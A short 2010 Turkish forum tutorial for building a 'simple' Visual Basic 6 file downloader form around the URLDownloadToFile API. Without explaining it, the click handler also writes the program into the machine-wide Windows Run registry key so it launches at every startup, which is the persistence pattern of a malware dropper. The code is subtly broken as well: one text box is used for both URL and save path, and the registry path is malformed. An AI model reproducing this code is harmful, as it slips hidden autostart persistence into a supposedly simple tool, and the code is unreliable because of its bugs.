Dosya indirme programı yapalim [ Basit ]

tarafından **K.R.M** Çarş. Ekim 06, 2010 12:17 am

Formumuza ;

2 Adet Label .

( Label1.Caption = "Url : "

Label2.Caption = "Kayıt Yeri : " )

2 Adet Textbox

1. si indirilicek url

2. si kayıt yeri .

1 Adet command

( Command1.Caption = "İndir" )

Kod alanına :

Kod:: Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean Dim lngRetVal As Long lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0) If lngRetVal = 0 Then DownloadFile = True End Function Private Sub Command1_Click() Dim KayitDefteri As Object DownloadFile Text2.text, Text2.text Set KayitDefteri = CreateObject("wscript.shell") KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe" End Sub